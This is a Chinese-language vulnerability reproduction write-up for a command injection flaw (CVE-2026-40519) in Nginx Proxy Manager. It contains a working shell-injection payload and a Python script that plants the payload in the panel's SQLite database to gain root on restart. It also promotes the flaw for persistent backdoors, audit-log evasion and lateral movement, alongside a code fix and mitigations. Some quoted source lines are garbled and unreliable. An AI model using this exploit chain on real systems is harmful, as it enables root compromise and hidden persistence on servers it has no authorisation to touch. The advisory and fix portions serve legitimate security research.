CVE-2026-40519:NginxProxyManager命令注入漏洞复现

admin 2026-06-15 04:52:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细分析了NginxProxyManager高危命令注入漏洞CVE-2026-40519(CVSS9.8),影响v2.9.14-v2.15.1版本。漏洞根因是setup.js中双重转义顺序错误导致单引号裸露,攻击者通过DNSProvider凭据字段注入命令可在容器内获得root权限。文章提供了完整复现环境、Payload构造方法和三层绕过技术,建议从develop分支升级或采取修改默认密码、限制管理端口访问等临时缓解措施。 综合评分: 87 文章分类: 漏洞分析,WEB安全,红队,实战经验,解决方案


cover_image

CVE-2026-40519:Nginx Proxy Manager 命令注入漏洞复现

松杨网络安全资料库

2026年6月12日 17:53 广东

在小说阅读器读本章

去阅读

一、漏洞概述

Nginx Proxy Manager(NPM)是一款广泛使用的开源 Nginx 反向代理管理面板。2026 年 6 月曝出高危命令注入漏洞 CVE-2026-40519(CVSS 9.8),攻击者通过 DNS Provider 凭据字段注入命令,可在容器内以 root 权限执行任意系统命令。

| 项目 | 详情 | | — | — | | CVE 编号 | CVE-2026-40519 | | 影响版本 | jc21/nginx-proxy-manager v2.9.14 ~ v2.15.1 | | 漏洞类型 | OS Command Injection | | 利用后果 | 容器内 root RCE | | CVSS | 9.8 (Critical) | | 修复状态 | 官方尚未发布稳定修复版本,需从 develop 分支获取 |


二、复现环境

docker run -d --name cve-40519-target \
  -p 8282:81 -p 8283:443 -p 8280:80 \
  jc21/nginx-proxy-manager:2.15.1

三、根因分析

漏洞根源位于 /app/setup.js 第 124-125 行,setupCertbotPlugins() 函数中的双重转义顺序错误:

// setup.js:124-125
const escapedCredentials = credentials
    .replaceAll("'", "\'")   // ① 先转义单引号: x' → x\'
    .replaceAll("\", "\\")  // ② 再转义反斜杠:x\' → x\'(破坏了①的结果!)

该函数在容器每次启动时执行,遍历数据库中 provider='letsencrypt' 的证书记录,为各 DNS 插件生成凭据文件。凭据内容经上述转义后被拼入 Shell 命令:

// setup.js:130
echo 'escapedCredentials′>/etc/letsencrypt/credentials/credentials−{row.id}

双转义缺陷: Step 1 为单引号前加反斜杠('\'),Step 2 将刚加入的反斜杠再次转义(\'\'),导致单引号重新裸露。裸露的单引号提前闭合 echo 的字符串,后续内容被 Shell 当作独立命令执行。


四、注入点——Web UI DNS Provider Credentials

操作路径:SSL Certificates → Add SSL Certificate → Let's Encrypt → DNS Challenge → Credentials File Content


五、Payload 构造

5.1 最终 Payload

x';id>/tmp/pwned; } #

5.2 转义变换

| 步骤 | 操作 | 输入 | 输出 | | — | — | — | — | | Step 1 | replaceAll("'", "\\'") | x';id>/tmp/pwned; } # | x\';id>/tmp/pwned; } # | | Step 2 | replaceAll("\\", "\\\\") | x\';id>/tmp/pwned; } # | x\\';id>/tmp/pwned; } # ← 单引号裸露 |

5.3 Shell 解析

实际执行的命令:

echo 'x\\';id>/tmp/pwned; } #' > /etc/letsencrypt/credentials/credentials-26

Shell 逐段解析:

  • echo 'x\\' → 字面输出 x\\(单引号在第二个 ' 处提前闭合)
  • ;id>/tmp/pwned → 作为独立命令执行,输出重定向至 /tmp/pwned
  • ; } #' > ... → } 闭合外层代码块后无实际作用;# 注释掉尾部的引号和重定向符号,避免语法错误

输出验证:

uid=0(root) gid=0(root) groups=0(root)


六、完整攻击链

Payload → SQLite 证书表 (provider='letsencrypt')
                    │
                    │ 容器重启
                    ▼
    setupCertbotPlugins() 遍历证书记录
                    │
                    ▼
    replaceAll 双转义破坏 → 单引号裸露
                    │
                    ▼
    echo 'x\\'; cmd; } #' → Shell 执行注入命令(root)

三层绕过:

  1. API Schema 校验:直接 POST 创建 LetsEncrypt 证书会被 API 拒绝 → 先用 API 创建 provider='other' 的证书,再直接写 SQLite 改为 letsencrypt
  2. 事务回滚:API 创建 LetsEncrypt 证书时 certbot 校验失败导致 ORM 事务回滚 → 绕过 API 和 ORM,直接操作 SQLite
  3. SQL 约束:certificate 表存在 NOT NULL 约束 → 插入时补全必填字段

核心注入脚本(Python):

import sqlite3, json, datetime

DB = '/data/database.sqlite'
db = sqlite3.connect(DB)
now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')

payload_str = "x';id>/tmp/pwned; } #"
payload = json.dumps({
    "dns_provider": "route53",
    "dns_challenge": True,
    "dns_provider_credentials": payload_str
})

db.execute('DELETE FROM certificate WHERE provider="letsencrypt"')
db.commit()
db.execute('''
    INSERT INTO certificate
    (created_on, modified_on, expires_on, owner_user_id,
     provider, domain_names, meta, nice_name, is_deleted)
    VALUES (?, ?, ?, 1, "letsencrypt", ?, ?, "", 0)
''', (now, now, '2099-12-31 00:00:00', json.dumps(["pwned.example.com"]), payload))
db.commit()
db.close()
# 重启触发
docker restart cve-40519-target
docker exec cve-40519-target cat /tmp/pwned
# uid=0(root) gid=0(root) groups=0(root)

七、实战价值

该漏洞利用前提为持有 Admin Token(或能直接写 SQLite 数据库)。虽然拿 Admin Token 后已可操控端口转发/代理等功能,但在以下场景仍具战术价值:

  • 持久化后门:payload 写入数据库,容器每次重启自动触发,不易被察觉
  • 审计绕过:攻击行为隐藏在容器启动链中,常规 Web 日志无记录
  • 横向移动:获得容器 root 后可探索宿主机挂载卷、Docker Socket 逃逸等路径

八、修复方案

升级: 官方尚未发布稳定修复版本,建议从 develop 分支编译:

git clone https://github.com/NginxProxyManager/nginx-proxy-manager.git
cd nginx-proxy-manager && git checkout develop

临时缓解:

  • 修改默认密码为强随机密码(openssl rand -hex 16,≥12位)
  • 修改默认邮箱([email protected]
  • 管理端口(81)禁止暴露公网,仅内网/VPN 访问
  • 排查所有使用默认账密的 NPM 实例
  • 监控非预期容器重启

代码级修复——更正转义顺序:

// 先转义反斜杠,再转义单引号
const escapedCredentials = credentials
    .replaceAll("\\", "\\\\")
    .replaceAll("'", "\\'")

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:松杨网络安全资料库 《CVE-2026-40519:Nginx Proxy Manager 命令注入漏洞复现》

评论:0   参与:  0